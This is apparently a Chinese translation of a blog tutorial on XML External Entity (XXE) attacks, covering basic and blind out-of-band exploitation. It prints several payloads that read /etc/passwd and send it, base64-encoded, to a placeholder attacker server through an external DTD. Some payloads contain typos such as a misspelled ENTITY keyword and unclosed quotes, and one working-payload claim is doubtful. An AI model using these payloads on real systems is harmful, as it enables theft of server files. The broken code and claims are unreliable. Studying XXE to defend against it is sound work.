【技巧总结】理解XXE从基础到盲打
原文：http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html
这篇文章中将讨论以下问题。
XXE是什么？
如何确认XXE？
如何利用基本XXE？
如何盲打XXE？
以及盲打XXE有效载荷的备选方案。
首先要了解一些基本的关键词。
实体：实体引用充当缩写或可以在外部位置找到的数据。语法：&test;
最常见的实体是：
内部实体：如果实体在DTD内声明，则称为内部实体。
语法：<!ENTITY entity_name "entity_value">
外部实体：如果实体在DTD之外声明，则称为外部实体。由“系统”标识。
语法：<!ENTITY entity_name SYSTEM "entity_value">
参数实体：参数实体的目的是能够创建替换文本的可重用部分。（如果不理解，以后会更清楚。）
语法：<!ENTITY % entity "another entity (Internal or External)">
XXE是什么?
XXE是XML External Entity的简称，在错误配置XML解析器解析内部实体时出现的漏洞。XXE有两种类型：
- 1、基础
- 2、盲打
基础一：
有一个URL参数解析了XML数据，如：http://myapp.com/somefile.php?xml=
当向这个URL提供XML数据时，并且该数据打印回用户的浏览器，就可以尝试基础的XXE。确认漏洞的存在可以利用以下的方法：
Payload 1：
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'http://yourserverip/'>]>
<root>&test;</root>
现在来理解原理。
1、首先声明XML语法，定义DOCTYPE后再定义XML主体的内容。
2、在DOCTYPE（即root）之后定义根元素，接下来定义实体，该实体包含SYSTEM属性，表明该实体是外部的。
3、定义服务器的ip，因为要让目标服务器向攻击者的服务器发送请求。
当Payload被XML解析，存在漏洞的XML解析方式会解析实体&test，然后实体中对应的是攻击者的服务器IP，所以将通过向攻击者服务器IP请求的方式处理外部实体。
所以如果攻击者的服务器在网络日志文件中有一个新的连接，那么就可以确认找到了XXE漏洞。
利用漏洞：
读取Web服务器的本地文件，可以使用以下有效载荷来完成。
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
XML解析器将像上面一样处理这个Payload，但现在不会向攻击者的服务器发送请求，而是使用文件协议在本地请求/etc/passwd文件，检索出文件内容并显示出来。 因此攻击者可以读取这台WEB服务器的本地文件。
如果XML数据没有显示内容该怎么办？（Blind XXE Case）
仍然可以通过使用上面的第一个Payload来确认漏洞的存在。但是不能看到Web服务器本地文件的文件内容。这仍然是一个安全问题，但严重性有点低。而且这被称为 Blind XXE 或Out-of-band XXE。
这意味着攻击者必须使用Bild Paylod，将WEB服务器的本地文件内容发送到攻击者的服务器。
Payload 2：
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % test SYSTEM 'http://yourserver/xml.dtd'> %test; %exe]>
<root>&entity;</root>
xml.dtd 内容：
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTIY % exe "<!ENTITY entity SYSTEM 'http://yourserver/%file;'>">
理解上述代码：
以上代码使用的是外部DTD文件，即%test。因此xml解析器将解析这个实体并向攻击者的WEB服务器发出请求获取DTD文件的内容。而那个DTD文件中攻击者定义了一些要处理的实体。
%exe;将生成另一个实体，即实体&entiry。并且该实体将使用文件内容向攻击者的服务器发出请求。 具体的文件内容是在实体％file中的php://filter/convert.base64-encode/resource=/etc/passwd获取的;
当xml解析器解析实体％file时，该实体将grep受攻击的服务器本地文件的文件内容。使用php filter进行编码。
可以看一个视频了解攻击者是如何操作的。
http://agrawalsmart7.com//bandicam 2018-11-04 23-35-26-024.mp4
有人可能会产生这样的问题：为什么要从攻击者的服务器调用DTD？为什么不直接利用Payload？
Payload 3：
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/%filecontents;'>]>
<root>&test;</root>
答案是因为根据XML_DOC，参数实体不能在DTD子集内调用，但是可以在外部子集中调用（Payload 2中的利用形式）。 这种形式使用后将提示禁止的错误。
这就是为什么不能在Payload之上运行的原因。
试试另一个有效载荷：
Payload 4：
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/&filecontents;'>]>
<root>&test;</root>
以上这个Payload就没有任何问题，因为实体被作为字符串解析。实体应该在根标记中，如果不是就会被作为一个字符串解析。
